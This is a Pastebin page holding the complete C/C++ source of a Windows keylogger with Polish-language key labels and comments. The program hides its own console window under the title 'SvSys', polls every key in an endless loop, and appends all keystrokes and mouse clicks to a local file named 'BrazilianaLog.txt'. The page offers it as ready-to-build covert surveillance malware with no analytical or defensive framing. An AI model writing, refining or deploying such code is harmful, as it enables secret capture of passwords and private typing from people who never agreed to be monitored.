Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <stdio.h>
- #include <winuser.h>
- #include <windowsx.h>
- #include <cctype>
- void GetChar();
- int a;
- char alt_0[] = "zolcesaxn";
- char alt_1[] = "żółćęśąźń";
- char shift_0[] = "1234567890[]\\;',./-=";
- char shift_1[] = "!@#$%^&*(){}|:\"<>?_+";
- char shift_alpha_0[] = "żółćęśąźńabcdefghijklmnopqrstuvwxyz";
- char shift_alpha_1[] = "ŻÓŁĆĘŚĄŹŃABCDEFGHIJKLMNOPQRSTUVWXYZ";
- char FileName[] = "BrazilianaLog.txt";
- int main()
- {
- system("TITLE SvSys");
- HWND stealth;
- AllocConsole();
- stealth=FindWindowA("ConsoleWindowClass",NULL);
- ShowWindow(stealth,0);
- while (true)
- {
- GetChar();
- }
- return S_OK;
- }
- void GetChar()
- {
- Sleep(10);
- int key;
- for (key = 0; key < 256; key++)
- {
- if (GetAsyncKeyState(key) == -32767)
- {
- FILE *file;
- file = fopen(FileName, "a+");
- if (file != NULL)
- {
- if(key>=39 && key<91 or key == 189 or key == 187 or key == 220 or key == 219 or key == 221 or key == 186 or key == 222 or key == 188 or key == 190 or key == 192 or key == 191)
- {
- char type = MapVirtualKey(key, 2);
- type = tolower(type);
- // ALT
- if(HIWORD(GetKeyState(VK_MENU)) != 0)
- {
- int len = strlen(alt_0);
- for(unsigned short i = 0; i < len; i++)
- if(type == alt_0[i])
- {
- type = alt_1[i];
- break;
- }
- }
- // CAPSLOCK
- if(GetKeyState(VK_CAPITAL) & 0x0001)
- type = toupper(type);
- // SHIFT
- if(HIWORD(GetKeyState(VK_SHIFT)) != 0)
- {
- // dla wszystkiego, co nie jest litera
- int len = strlen(shift_0);
- for(unsigned short i = 0; i < len; i++)
- if(type == shift_0[i])
- {
- type = shift_1[i];
- break;
- }
- // dla liter
- for(unsigned short i = 0; i < strlen(shift_alpha_0); i++)
- {
- if(type == shift_alpha_0[i])
- {
- type = shift_alpha_1[i];
- break;
- }
- else if (type == shift_alpha_1[i])
- {
- type = shift_alpha_0[i];
- break;
- }
- }
- }
- fputc(type,file);
- fclose(file);
- }
- else
- switch(key)
- {
- case VK_LBUTTON:
- fputs("[Lewy Przycisk Myszy]", file);
- fclose(file);
- break;
- case VK_RBUTTON:
- fputs("[Prawy Przycisk Myszy]", file);
- fclose(file);
- break;
- case VK_MBUTTON:
- fputs("[Srodkowy Przycisk Myszy]", file);
- fclose(file);
- break;
- case VK_BACK:
- fputs("[Back Space]", file);
- fclose(file);
- break;
- case VK_TAB:
- fputs("[Tab]", file);
- fclose(file);
- break;
- case VK_CLEAR:
- fputs("[Clear]", file);
- fclose(file);
- break;
- case VK_RETURN:
- fputs("\n[Enter]", file);
- fclose(file);
- break;
- case VK_SHIFT:
- fputs("[Shift]", file);
- fclose(file);
- break;
- case VK_CONTROL:
- fputs("[Ctrl]", file);
- fclose(file);
- break;
- case VK_MENU:
- fputs("[Alt]", file);
- fclose(file);
- break;
- case VK_PAUSE:
- fputs("[Pause]", file);
- fclose(file);
- break;
- case VK_CAPITAL:
- fputs("[Caps Lock]", file);
- fclose(file);
- break;
- case VK_ESCAPE:
- fputs("[Esc]", file);
- fclose(file);
- break;
- case VK_SPACE:
- fputs("[Spacja]", file);
- fclose(file);
- break;
- case VK_PRIOR:
- fputs("[Page Up]", file);
- fclose(file);
- break;
- case VK_NEXT:
- fputs("[Page Down]", file);
- fclose(file);
- break;
- case VK_END:
- fputs("[End]", file);
- fclose(file);
- break;
- case VK_HOME:
- fputs("[Home]", file);
- fclose(file);
- break;
- case VK_LEFT:
- fputs("[Lewa Strzalka]", file);
- fclose(file);
- break;
- case VK_UP:
- fputs("[Gorna Strzalka]", file);
- fclose(file);
- break;
- case VK_RIGHT:
- fputs("[Prawa Strzalka]", file);
- fclose(file);
- break;
- case VK_DOWN:
- fputs("[Dolna Strzalka]", file);
- fclose(file);
- break;
- case VK_SNAPSHOT:
- fputs("[PrintScreen]", file);
- fclose(file);
- break;
- case VK_INSERT:
- fputs("[Insert]", file);
- fclose(file);
- break;
- case VK_DELETE:
- fputs("[Delete]", file);
- fclose(file);
- break;
- case VK_HELP:
- fputs("[Help]", file);
- fclose(file);
- break;
- case VK_NUMPAD0:
- fputc('0', file);
- fclose(file);
- break;
- case VK_NUMPAD1:
- fputc('1',file);
- fclose(file);
- break;
- case VK_NUMPAD2:
- fputc('2',file);
- fclose(file);
- break;
- case VK_NUMPAD3:
- fputc('3',file);
- fclose(file);
- break;
- case VK_NUMPAD4:
- fputc('4',file);
- fclose(file);
- break;
- case VK_NUMPAD5:
- fputc('5',file);
- fclose(file);
- break;
- case VK_NUMPAD6:
- fputc('6',file);
- fclose(file);
- break;
- case VK_NUMPAD7:
- fputc('7',file);
- fclose(file);
- break;
- case VK_NUMPAD8:
- fputc('8',file);
- fclose(file);
- break;
- case VK_NUMPAD9:
- fputc('9',file);
- fclose(file);
- break;
- case VK_MULTIPLY:
- fputs("*",file);
- fclose(file);
- break;
- case VK_ADD:
- fputs("+",file);
- fclose(file);
- break;
- case VK_SUBTRACT:
- fputs("-",file);
- fclose(file);
- break;
- case VK_DIVIDE:
- fputs("/",file);
- fclose(file);
- break;
- /*case VK_OEM_1:
- fputs("[;:]",file);
- fclose(file);
- break;
- case VK_OEM_2:
- fputs("[/?]",file);
- fclose(file);
- break;
- case VK_OEM_3:
- fputs("ö",file);
- fclose(file);
- break;
- case VK_OEM_4:
- fputs("[ [{ ]",file);
- fclose(file);
- break;
- case VK_OEM_5:
- fputs("[\\|]",file);
- fclose(file); */
- case VK_F1:
- fputs("[F1]",file);
- fclose(file);
- break;
- case VK_F2:
- fputs("[F2]",file);
- fclose(file);
- break;
- case VK_F3:
- fputs("[F3]",file);
- fclose(file);
- break;
- case VK_F4:
- fputs("[F4]",file);
- fclose(file);
- break;
- case VK_F5:
- fputs("[F5]",file);
- fclose(file);
- break;
- case VK_F6:
- fputs("[F6]",file);
- fclose(file);
- break;
- case VK_F7:
- fputs("[F7]",file);
- fclose(file);
- break;
- case VK_F8:
- fputs("[F8]",file);
- fclose(file);
- break;
- case VK_F9:
- fputs("[F9]",file);
- fclose(file);
- break;
- default:
- fclose(file);
- break;
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement